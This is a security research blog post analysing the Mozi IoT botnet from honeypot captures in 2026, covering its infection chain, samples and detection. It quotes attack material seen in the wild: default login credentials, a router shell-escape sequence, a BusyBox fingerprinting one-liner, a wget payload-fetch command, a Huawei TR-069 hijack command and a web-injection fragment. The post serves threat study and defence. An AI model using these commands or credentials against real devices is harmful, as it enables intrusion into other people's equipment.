Mozi Botnet (Trojan.Linux.Mozi) Is Still Alive in 2026: IoT Analysis With Live Samples

Come web agency che gestisce decine di server per i nostri clienti, monitoriamo attivamente le minacce alla sicurezza. Questa ricerca nasce dal nostro honeypot dedicato alla threat intelligence IoT. L'articolo è in inglese per raggiungere la comunità internazionale di security researchers.

The Mozi botnet was one of the most aggressive IoT botnets ever documented, responsible for up to 90% of all IoT malware traffic at its peak. After Chinese law enforcement arrested its operators in 2021 and distributed a kill switch in August 2023, every major security vendor declared it dead.

They were wrong.

Our independent honeypot research shows that while the Mozi command-and-control network is indeed gone, the trojan.linux.mozi botnet continues to replicate autonomously across the internet. In a single 24-hour observation window on March 30, 2026, we captured 538,518 attack sessions, downloaded 5 unique Mozi samples from 15 active propagation nodes across China, Pakistan, Russia, Indonesia, Albania, Australia, and Argentina.

This article presents our complete botnet malware analysis, including the infection chain, live indicators of compromise, and what this means for IoT security in 2026.

September 2026 Update: Six Months of Continuous Observation

Updated September 28, 2026. The analysis below was first published on March 30, 2026 and describes a single 24-hour window. The honeypot and the DHT crawler have been running ever since. This section reports what 183 days of data show, collected between March 24 and September 28, 2026. The honeypot recorded nothing on March 31 and from May 15 to May 19. The original findings further down are left as published.

The same binaries, byte for byte

All five samples documented in March are still being served. None of them has been rebuilt, repacked or reconfigured in six months.

The last row is a binary that was not in the March set. We first saw it on April 1, 2026. One more binary, 135,660 bytes for MIPS-32 BE, was captured on March 28 and has not been served to the honeypot since.

Every one of these binaries also appears under a second hash whose file is exactly one byte longer. We treat those as transfer artifacts of the same binaries until a binary diff says otherwise, and we do not count them as new variants. This is also why the graphics from March report "12+ unique samples" while the text lists five: the graphics count file hashes, the text counts the distinct binaries that were being served.

This is what an unmaintained worm looks like. Nobody is shipping updates. The code that spreads today is the code that was spreading in March.

Zero commands in six months

The March finding was based on one day of listening. It now rests on six months. The command network is not quiet, it is gone.

How many devices, and where

Attacking devices were located mainly in Pakistan (49.8%), China (30.1%), India (6.3%), the United States (4.5%) and Russia (4.1%). Hosts serving the binary were overwhelmingly in China (78.6%), followed by Pakistan (5.5%), Russia (1.6%), India (1.5%) and the Philippines (1.5%). Country attribution uses MaxMind GeoLite2.

Volume: what we can and cannot say

Our daily totals of download attempts are reliable only for the most recent 30 days. A maintenance job on the honeypot truncated the older daily totals, so we do not publish them. Counts of distinct devices, hosts, countries and samples are not affected.

Within those four weeks the daily attempts almost tripled while the number of attacking devices stayed flat. The devices did not multiply, each of them tried more often. We have not established the cause, so we do not read the volume as growth of the botnet.

The device that attacks is not the device that serves the file

In the classic description of Mozi, an infected device scans, logs in and serves its own binary to the new victim. Our data shows a different picture. In 98.6% of the download attempts recorded between August 30 and September 27, the device that logged in told the honeypot to fetch the binary from a different IP address. Only 1.4% pointed back to the attacker itself.

From a single sensor we cannot tell why. Infected devices behind shared or translated addresses, and bots that hand out the address of another bot, would both produce this result. What the data does support is a practical point: blocking the address that attacks you does not block the address that delivers the payload.

Nodes do not last

Over six months we recorded 4,275 distinct address and port pairs serving the binary. 59% of them were seen on a single day. None of the 15 nodes listed in the original article has been seen since August 16, 2026, and 14 of them were gone by April 21.

Static blocklists of Mozi nodes go stale within days. The stable indicators are the binaries and the behavior, not the addresses.

Most active nodes, September 21-28, 2026

In that week 289 nodes served the binary, 51 of them still active on September 28. As in March, these are infected victim devices, not malicious infrastructure.

Method and limits

• One sensor, one IP address, one network. These numbers describe what reached our honeypot, not the size of the botnet.
• Daily totals of download attempts older than 30 days were truncated by a maintenance job and are not used. Volume is reported only for August 30 to September 27.
• The 24-hour figures published in March were counted on the raw logs of that day. The honeypot configuration changed in April, so they are not directly comparable with the September figures.
• The list of credentials accepted by the honeypot was changed on April 13, 2026. Successful-login counts before and after that date are not comparable.
• A download attempt is counted each time an attacker instructs the honeypot to fetch a file. It is not a count of infected devices.

What Is the Mozi Botnet?

The Mozi botnet is a peer-to-peer (P2P) IoT botnet first discovered in 2019 by 360 Netlab. It targets Linux-based IoT devices — home routers, IP cameras, DVRs, and network storage — by brute-forcing default credentials over Telnet and SSH.

What made Mozi unique among IoT botnets was its use of a Distributed Hash Table (DHT) for command-and-control communication, borrowed from the BitTorrent protocol. This made it extremely resilient: there was no central server to take down.

At peak activity:

• 1.5+ million infected devices worldwide
• 90% of all IoT botnet traffic (IBM X-Force, 2020)
• Primary targets: MIPS and ARM-based devices in China, India, Pakistan
• Capabilities: DDoS attacks, data exfiltration, web injection, router exploitation

The trojan.linux.mozi botnet was built from code borrowed from three earlier botnets: Mirai, Gafgyt, and IoT Reaper.

2021: Mozi Learns to Hijack Traffic

Before law enforcement caught up with it, Mozi kept evolving. In August 2021, Microsoft's security team documented a significant capability upgrade: infected devices gained the ability to perform man-in-the-middle attacks through DNS spoofing and HTTP session hijacking, redirecting victims to attacker-controlled servers or injecting malicious JavaScript directly into their traffic. Microsoft warned the technique could be used to compromise corporate endpoints and stage ransomware deployment.

The same update improved persistence specifically on Netgear, Huawei, and ZTE gateways, letting some variants survive a reboot. Worth flagging: our own 2026 samples don't show that behavior. Either the mechanism never spread widely across the current bot population, or it has since regressed. A single 24-hour capture can't tell us which.

The 2023 Kill Switch: What Happened

In September 2021, Chinese law enforcement arrested the Mozi operators. In August 2023, a kill switch was distributed through Mozi's own DHT network (documented by ESET Research). The payload instructed bots to:

• Stop all scanning and propagation
• Disable the embedded HTTP server
• Replace the running binary
• Persist the shutdown via cron

This was widely reported as the end of Mozi. Security vendors removed it from active threat lists. FortiGuard, Sophos, and others stopped flagging trojan.linux.mozi botnet detections as critical.

The problem: the kill switch only reached bots that were online and participating in the DHT at the time. Devices that were temporarily offline, behind restrictive NAT, or running on read-only filesystems never received it. And when those devices came back online, they continued scanning — reinfecting neighbors who had been cleaned.

Our Research Setup: Honeypot Infrastructure

We deployed a multi-service honeypot on a Hetzner Cloud VPS in Helsinki, Finland:

The DHT crawler is a custom Python tool (1,100 lines) that participates in the BitTorrent DHT network, queries all known Mozi info_hashes, and classifies discovered peers through active probing.

All data was collected passively through our own infrastructure. No unauthorized access was attempted.

Key Finding: The Mozi DHT Command Network Is Dead

After crawling 1.46 million DHT nodes and sending over 2.25 million messages, we can confirm: the Mozi DHT C2 network is conclusively dead.

The 63 peers returned for Mozi-associated info_hashes were all either:

• Research sinkholes (25 IPs) — VPS hosting providers running passive listeners
• Offline ghosts (25 IPs) — former peers, now unreachable
• Legitimate BitTorrent clients (3 IPs) — false positives from DHT routing

We identified two large sinkhole clusters operated from Russian infrastructure (Teleport Media in Perm, Start2 LLC in Moscow) — researchers monitoring the dead network, just like us.

The kill switch succeeded in destroying Mozi's C2 layer. But that's only half the story.

Key Finding: The Worm Is Still Actively Spreading

Despite zero C2 activity, our Cowrie honeypot recorded massive scanning activity in just 24 hours:

The /i download path is the universal Mozi fingerprint — every Mozi variant since 2019 serves its binary at http://<bot_ip>:<random_high_port>/i.

We verified this by directly connecting to the top 20 download URLs and confirmed that 15 out of 20 are actively serving Mozi ELF binaries right now.

This is one of the most significant recent botnet attacks still active in 2026 — and most of the security industry has stopped watching.

The Mozi Infection Chain in 2026

The attack pattern we observe is identical to the classic Mozi replication chain from 2019-2023. It operates in 5 stages:

Stage 1: Credential Brute-Force

The bot tries default IoT credentials over Telnet (primarily) and SSH. The top 10 credential pairs hitting our honeypot:

These are the same credentials Mozi has used since 2019. No new credentials have been added, confirming that the worm is not being updated.

Stage 2: Shell Escape

After login, the bot executes a hardcoded sequence to escape restricted router CLIs:

start → enable → config terminal → system → linuxshell → su → shell → sh

This covers Cisco IOS, Huawei VRP, and generic BusyBox shells. The sequence was executed 11,985 times in our 24-hour window, identically across all attacking IPs.

Stage 3: Architecture Fingerprinting

The bot determines the target CPU architecture using a clever BusyBox trick:

/bin/busybox wget;/bin/busybox echo -ne '\x46\x5a\x5a\x49\x48\x4b'

The echo -ne outputs random bytes. If the output matches what BusyBox produces on a specific architecture (MIPS LE, MIPS BE, ARM, etc.), the bot selects the correct binary.

Stage 4: Payload Download

wget http://<bot_own_ip>:<high_port>/i

Each infected device serves its own copy of the malware via an embedded nginx HTTP server on a random high port. There is no central download server — this is pure peer-to-peer propagation.

Stage 5: Execution

The binary is executed, and the new bot immediately begins scanning for more victims. The cycle completes in seconds.

Botnet Malware Analysis: 5 Live Mozi Samples

We captured 5 unique samples from 15 active bots:

All MIPS samples are UPX-packed. The ARM sample is stripped but unpacked, providing full visibility.

ARM Sample Deep Dive

The 308 KB ARM sample (12013662...) contains the complete Mozi toolkit:

C2 Configuration Tags (unused but present):

• [cnc] — Command and control
• [atk] — Attack module
• [ss] — Scanner configuration

The C2 parsing code is fully intact. If someone were to revive the DHT network and distribute signed commands, these bots would obey.

Embedded Router Exploits:

cfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer
    URL "http://127.0.0.1"
    ConnectionRequestPassword "acsMozi"

This hijacks Huawei home gateways by redirecting their TR-069 management server to localhost, locking out the ISP.

Web Injection Capability:

document.write('<script language="javascript" src="http://...

The bot can inject JavaScript into HTTP traffic passing through infected routers — potentially redirecting users or stealing credentials.

DHT Bootstrap Nodes (historical, no longer active): dht.transmissionbt.com:6881, 130.239.18.159:6881, 212.129.33.59:6881

Hardcoded DNS: 8.8.8.8 (Google), 114.114.114.114 (China 114DNS)

Active Propagation Nodes (Indicators of Compromise)

These IPs were confirmed serving Mozi binaries on March 30, 2026. The list is historical: none of them has been seen since August 16, 2026. Current nodes are in the September 2026 update.

Note: These are infected victim devices (home routers, cameras), not malicious infrastructure. The owners are likely unaware.

Network Signatures:

• HTTP response: Server: nginx, Content-Type: application/zip
• Download path: /i
• Random high port (>10000, changes per device)

How to Detect Trojan.Linux.Mozi Botnet Traffic

If you manage a network and want to check for trojan.linux.mozi botnet activity:

On Your Firewall/IDS

• Outbound Telnet/SSH connections from IoT devices to random IPs (scanning)
• HTTP GET requests to random high ports with path /i
• BusyBox command patterns: /bin/busybox wget followed by /bin/busybox echo -ne

On Suspected Devices

# Check for Mozi process
ps | grep -i mozi

ls -la /var/run/.x /tmp/.x /dev/.x /dev/shm/.x 2>/dev/null

cat /etc/resolv.conf

crontab -l

Trojan.Linux.Mozi Botnet Removal

Mozi does not survive a reboot on most devices. Simply power-cycling the infected device will remove the active infection. However, if the device still has default credentials, it will be reinfected within minutes.

The real fix: change default passwords and disable remote Telnet/SSH access on all IoT devices.

Why IoT Botnets Like Mozi Won't Die

Mozi is a case study in the headless worm problem. When a botnet's replication logic is fully autonomous — requiring no C2 server to spread — decapitating the command infrastructure does not stop propagation.

Mozi will continue spreading until:

1. All vulnerable devices are patched (unlikely — many are abandoned hardware)
2. All infected devices are rebooted simultaneously (impossible at scale)
3. ISPs block scanning traffic at the network level (partially happening in some countries)
4. Manufacturers ship devices with unique passwords (slowly improving, but millions of legacy devices remain)

The same default credentials that enabled Mozi in 2019 (root:xmhdipc, admin:1234, root:Zte521) still work on devices being deployed in 2026.

Until the IoT industry solves the default credential problem, headless botnets will haunt the internet indefinitely.

What's Next for Mozi: Its Code Is Already Living Inside Another Botnet

Mozi's story didn't end with the 2023 kill switch, and it isn't just the standalone worm we caught in our honeypot either. In November 2024, CloudSEK's threat research team reported that Androxgh0st, a botnet active since January 2024, had absorbed Mozi's IoT infection and propagation code into its own operations. The finding was independently corroborated by CSO Online and The Hacker News.

Androxgh0st already exploited over 20 vulnerabilities across Cisco ASA, Atlassian Jira, and various PHP frameworks. Adding Mozi's propagation logic extended its reach into IoT devices and, per later reporting, cloud environments — pairing Mozi's peer-to-peer stealth with a far broader attack surface than the original worm ever had on its own.

Two things are true at once, and our research confirms both sides of it: the original Mozi worm we tracked keeps replicating on its own, exactly as it has since 2019, while separately, pieces of its code now live on inside a newer, actively maintained botnet family. Headless malware doesn't just fail to die. Sometimes it gets adopted.

Full Technical Report

This article is a summary of our complete research. The full technical report — including DHT crawler methodology, sinkhole infrastructure analysis, the Go-based SSH worm we also captured, and extended sample analysis — is available as an eBook:

Mozi Is Dead, Long Live Mozi — Full Report on Amazon Kindle

For sample requests, collaboration, or consulting inquiries, connect via LinkedIn or contact us.

Domande frequenti